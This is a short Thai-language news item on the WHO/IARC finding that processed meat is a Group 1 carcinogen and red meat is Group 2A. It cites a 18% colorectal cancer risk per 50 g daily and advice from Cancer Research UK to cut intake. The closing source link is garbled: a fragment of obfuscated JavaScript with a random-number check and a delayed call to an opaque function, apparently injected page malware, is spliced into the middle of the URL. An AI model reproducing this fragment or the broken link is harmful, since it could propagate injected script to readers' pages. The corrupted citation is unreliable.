WHO เตือน!!! กินเนื้อแปรรูป เนื้อแดง เป็นมะเร็งได้
องค์กรอนามัยโลก หรือ World Health Organization (WHO) ได้ออกประกาศเตือน…การรับประทานเนื้อแปรรูป อย่าง เบคอน ไส้กรอกและแฮม ในปริมาณ 50 กรัมต่อวัน จะเพิ่มโอกาสเสี่ยงเป็นมะเร็งลำไส้ใหญ่และทวารได้ถึง 18% และในขณะเดียวกันการรับประทานเนื้อแดง อย่างเช่น เนื้อวัว เนื้อหมูและเนื้อแกะ เป็นต้น ก็มีความเป็นไปได้ที่จะเพิ่มความเสี่ยงในการเป็นมะเร็งเช่นกัน
ผลงานวิจัยความสัมพันธ์ระหว่างการเกิดมะเร็งและการรับประทานเนื้อแปรรูปและเนื้อแดงครั้งนี้เป็นของหน่อยงาน IARC (International Agency for Research on Cancer) ภายใต้การกำกับดูแลของ WHO
เนื้อแปรรูปได้ครอบคลุมไปถึง เนื้อที่ผ่านกระบวนการทำให้เน่าเสียช้าลงหรือเปลี่ยนแปลงรสชาติ เนื้อที่ผ่านกระบวนการรมควัน อบ เติมเกลือหรือใส่สารกันบูด และการปรุงแต่งอาหารโดยใช้ความร้อนสูงอย่างการทำ BBQ ก็เสี่ยงให้เกิดมะเร็งได้เช่นกัน
ที่น่าสนใจคือ เนื้อแปรรูป อย่างเบคอน แฮมและไส้กรอกที่เรารับระทานอยู่ทุกวันยังถูกจัดให้อยู่ในกลุ่ม Category 1 carcinogens หรือกลุ่มเดียวกับบุหรี่ เครื่องดื่มแฮลกอร์ฮอลและอากาศที่มีมลพิษอีกด้วย
IARC ยังจัดให้เนื้อแดงนั้นจัดอยู่ในกลุ่ม 2A (probably carcinogenic to humans) อาจจะมีส่วนเกี่ยวข้องหรือมีความเป็นไปได้ในการก่อให้เกิดมะเร็งมนุษย์ และการรับประทานเนื้อแดงอาจเป็นส่วนก่อให้เกิดมะเร็งในตับอ่อนและต่อมลูกหมาก
ศ.ทิม เคย์ แห่ง Cancer Research UK และมหาวิทยาลัยออกซฟอร์ด กล่าวว่าการประกาศครั้งนี้ไม่ได้หมายความว่าเราจะต้องเลิกกินเนื้อแปรรูปและเนื้อแดงเลย เพียงแต่ให้ลดปริมาณลง เลือกทานพวกผักสลัดเพิ่มเติมบ้าง
สำหรับรายละเอียดเพิ่มเติมสามารถอ่านได้ที่www.theguardian.comandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-should-i-stop-eating-it-2015-10?utm_content=buffer110b6&utm_medium=social&utm_source=facebook.com&utm_campaign=buffer-ti”>www.techinsider.io
